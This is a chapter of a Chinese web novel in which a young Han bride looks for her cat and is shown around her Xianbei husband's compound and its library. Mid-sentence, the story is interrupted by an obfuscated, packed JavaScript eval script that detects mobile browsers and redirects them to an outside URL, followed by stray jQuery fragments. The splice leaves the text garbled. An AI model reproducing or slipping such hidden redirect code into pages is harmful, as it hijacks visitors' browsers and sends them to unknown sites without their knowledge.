12. 音译

作品:《被扮演丈夫的怪物所宠爱

    第二日早晨,天光大亮,寒酥推开侧屋门而入。


    “女郎,女郎,怎地到了这儿睡?”


    崔令容被寒酥轻声唤醒,自案面困倦抬头,睁眼见她靠的极近,跪坐于面前,满脸不赞同之色。


    她睡着了?被子是寒酥给她盖的吗?


    提起手腕,重量沉甸甸的延伸至背部,她坐起来,覆盖全身的锦被掀开,滑落地面。


    崔令容抓起被角,凝视片刻后松手,寒酥便拉起锦被抱在怀中,放上床榻,背对她抚平铺展锦被。


    她则四处环顾。


    昨夜还与她闲话的猫,不知去了何处,榻边没有,门边没有,屏风后也没有,房内并未瞧见虎子雪白的身影。


    “虎子?”她喊道。


    无猫回应。


    寒酥整床利索,迅速将床铺被衾铺得平平整整,盖上一层遮挡灰尘的罩布,回身疑问道:“女郎?”


    “无事,昨夜屋里进了只猫,方才发现它不在了,留意了一下。”


    “莫非,女郎想养猫?”寒酥侍奉她约莫一月,多少有些了解崔令容性子,若非起了心思,她是想也想不起来要找那猫的。


    崔令容展开双臂,纤细手臂支在空中,寒酥为她取来衣物,服侍她穿上。


    “我决定了,也已与猫商量好。”


    寒酥整理领口的手顿了顿,她年长也更高些,能看到主人散漫却不容置疑地神情:“猫怎会懂得那些,不过初来乍到便在公廨内养起了猫儿,婢只怕外人的闲言碎语扰了女郎。”


    “尉迟郎君昨日中止昏礼之事,一晚便能传播开,女郎之后的日子,并不轻松。”


    寒酥明白的道理,崔令容当然也明白,何况尉迟公廨内对规矩不甚看重,仆役见风使舵的功夫比崔府中人更加深厚,是可以预见的。


    鲜卑人崇尚武力,虽在逐步加深汉化,北周立国时也改去许多野蛮行径和习俗,但骨子里仍旧崇尚那套强者为尊的精神,还排斥他族。


    以她这小身板,又是汉人,仆役们见尉迟骁显然不将她放在眼里,她必然会被排斥。


    “尉迟氏的一双堂姐妹对我态度尚可,他们不至于做得过分。”


    如今后院说得上话的是姐妹二人,仆役不懂的事,她们懂,被笑话去不了几块肉,由着去吧。


    崔令容今日打扮得简洁,却相对以往艳丽些,这是为了入乡随俗,她穿着向来素净,如今一变风态,尽管夜晚睡眠不久,也被衬得气色好了起来,容光焕发。


    “不曾想女郎着浓郁之色,也如此合适。”寒酥缓步后退,检查无错,便静静退下了:“婢去领朝食。”


    崔令容弯腰,上身绕到榻边之下,空空如也,确认虎子的确不在寝内,就听门外传来声响。


    “叩叩。”


    有人敲门。


    寒酥此时距门一步之遥,尚未离开,顺势打开了门。


    “喵嗷!”


    凶戾的猫叫冲出,门外与门内两人均吓了一跳。


    敲门的尉迟诏最先镇定,她瞪大眼到处看,在头上右侧的窗棂找到了吓人的猫。


    它趴在窗沿,对下方的人虎视眈眈。


    “又是哪儿进来的小山猫?这么点大还凶人。”


    尉迟诏的嘀咕没造成任何影响,虎子灵活跳下窗,在廊上对内的寒酥呲牙,雪白尖牙一点寒光闪烁。


    崔令容一直往门外望,得到虎子的消息,立即往外走,穿上绣履,来到僵持的两人与猫身边,虎子这才收敛凶相,乖乖靠到她脚边。


    尉迟诏若有所思:“它好像不太喜欢你的贴身侍女。”


    “或许怕生吧。”崔令容蹲下,双手摊开,放在虎子面前:“走吧,我抱你?”


    虎子犹豫抬爪,又放了下来,径直往外走,出了一尺,一屁股坐在地上,回头看着崔令容。


    “不像。”尉迟诏耸肩,身上挂着的饰品碰撞,叮叮当当的响,虎子看也没看她一眼。


    “你看它,怕生的猫怎会对这声音无动于衷?走吧,我带你逛逛这里。”她扣住崔令容的手腕。


    尉迟诏与她年纪相仿,骨架却比她大些,抓着她的手轻轻松松。


    崔令容不太适应亲密的肢体接触,轻轻抽手,不料尉迟诏握得松,可力道极大,竟没能抽出来。


    她干脆放弃挣扎,随着尉迟诏离开。


    走过虎子时,虎子便起身,慢悠悠跟在右侧走,始终保持着不近不远的间隔。


    崔令容放了心,看向尉迟诏,她正面瞧着娇俏可爱,侧脸却是尉迟氏族人如出一辙的锋利。


    她问道:“怎么是你来,尉迟云娜呢?”


    “赴宴去了。”


    顺着直廊向前,她随意对路过的部曲点头,崔令容也回过头,那部曲与尉迟诏擦身而过,头戴棕色风帽,长至遮蔽侧脸,外套汉式官服搭配束腰,脚踩兽皮靴,很是不伦不类。


    昨日所见尉迟骁手下部曲,均以胡风装扮完整。


    于是她疑心此人并非尉迟部曲,然而对尉迟氏了解不足,更不明了衣装习俗,故而崔令容并未妄下论断,疑问只是在心底压着,一闪而过。


    她头还扭着,见那人下了廊,又听尉迟诏继续道:“今日一早,韦氏送来了请帖,事发突然,比起我,阿姐更合适,便匆匆去了。”


    “所以阿姐说的带你转转,由我代劳。”她俏皮地笑了笑。


    *


    军事区接近后院,离开崔令容住的寝院,外面就是练武场。


    再往前走,军械库与签押房并排而立。前者的重要性无需多言,后者相当于军务指挥枢纽,存放兵符与信报等机密事物,外围重兵把守。


    接着尉迟诏粗略介绍了宴引厅堂和正厅,带着她绕路而行,最终来到个朴实无华的房屋前。


    “这儿是书阁,阿姐猜你对此处更感兴趣,虽不如崔氏藏书多,但也够你看上两年了。”


    崔令容听罢,正愁日后如何打发时间,上前抓住了门环推门。


    厚重的褐木板门动摇一下,依旧牢牢扎根在原地,她愣了下,两手同时上阵仍然未能推开门,便低头检查起是否挂了门锁。


    尉迟诏伸手,手掌按上门板中央,轻轻一推,门便打开了,宽敞的室内景象暴露眼前。


    崔令容迟疑着扶上门,这回打开的门的确再被推开了些,只是与她对抗的那股力道沉重,不知尉迟诏是用了多大力才推开的。


    “进去吧,阿嫂。”她笑眯眯道。


    正对着门的是一张长长的书案,房间角落放着明火灯并未点燃,被灯罩笼住,采光大多依靠门窗,光线较暗。


    崔令容走到书案旁,闻见弥漫着的书墨气息。尉迟诏也跟着走进来。


    书案不偏左右,位于正中,上头放着落了灰的笔墨刀砚,空白卷轴则放于旁边书箱。


    她合上随手打开的书箱翻盖,直起腰,前方书橱排列,一个个开放的格子面对她,里面堆着若干


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16528543|186276||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    书卷。


    “喵。”虎子一路跟随,懒洋洋趴在门口,望着门内,不甘寂寞地叫了声,提醒崔令容它的存在。


    “不想进来?但也别乱跑,否则我找不到你了。”她走近书橱,手抚过书卷突出打磨光滑的冰凉轴头,挂在上方的签牌哗啦啦响。


    虎子耳朵往下压了压,知道这话是对它说的:“嗷。”


    崔令容收回了手,也收回视线,扫过身边的尉迟诏,想到大门的重量,虽觉着问题或许会冒犯对方,但还是问道:“门做得那样重,你也能轻松打开,莫非鲜卑人比汉人身体更健壮些?”


    “那倒没有,只是我们不论男女,自小都要学骑射,即便汉化,马背上的功夫也不能丢,长此以往,力气自然大些……不过要说骁勇善战,还得是你们汉人。”尉迟诏并不在意,靠在书橱上取下一书卷,递给她。


    “这是我小时候最喜欢的书,都是单篇单篇的故事,你看看怎么样?”


    崔令容接过书卷,解开书衣拉出了卷轴,里头写着规整的墨色文字,配上简单画面,明显看出是一卷专供给幼儿的读物,她看了看这格中其他书卷的签牌,书名都带着童稚感。


    可问题是:“我看不懂。”


    尉迟诏一时未能意识到原因,只觉得不可能。


    她拉过书卷一看,两人各扯一边,才顿然醒悟:“阿嫂看不懂才属正常,这些幼儿读物,许多是用汉字音译了鲜卑语,不懂鲜卑语自然看不懂。”


    若非崔令容提醒,她许久未进书阁,差点记不起两人的语言隔阂。


    她左右瞧了瞧,依稀记起书阁排列:“不如到后面去点,那儿抄录汉人的书较多。”


    崔令容便依言到了后侧,果不其然,抽出感兴趣的签牌书名,书卷打开来看后阅读通畅。


    她一旦翻书,很容易沉溺其中,更别提尉迟氏对书的收录要求并无崔氏严格,这就让她翻到了许多卷有意思的书,接连看了几卷合口味的。


    时间一点点过去,尉迟诏不知何时出了书阁蹲在了门口,顶着太阳,捏着不知哪儿来的草在逗猫。


    “怎么,不理我?你主人可是我嫂。”


    虎子别过脑袋,往墙边靠了靠。


    和虎子说话的声音隐约传来,崔令容默不作声,扶了下久站的腰,慢吞吞走到前列,把方才尉迟诏给她看的那卷书取下来。


    这卷书里除去文字与便于孩童理解的小画外,还分布着些歪歪扭扭,不甚清晰的字迹。


    手指摸上其中一行,那行并非音译,用汉字的本来意义写着读书的感想:“我要做草原上最强的鹰。”


    崔令容淡笑,放回书卷,接连翻了周边几卷较小的卷轴。


    不一会儿,她的视线定格在了其中一卷内容上。


    这是卷有些奇特的书,还是那歪斜的字迹,然而从左到右,每两列间并不能互相连通。若第一列为真正的汉语,第二列则是音译鲜卑语后写出的汉字,虽然依旧是汉字,但令人完全无法理解其中含义。


    倒像是一卷鲜卑小孩做的翻译功课。


    崔令容看向门口,目光被层层书橱阻拦,无法真正看见尉迟诏,她犹豫片刻,不知如何称呼,但还是选择了一个相对亲近的说法。


    “阿诏,这些书,我能带些走吗?”她提高音量。


    外头静了一会儿,尉迟诏扯开嗓子:“拿吧,反正除了清扫的仆役,八百年都没人来书阁看书了,也没什么机密,你拿走看呗。”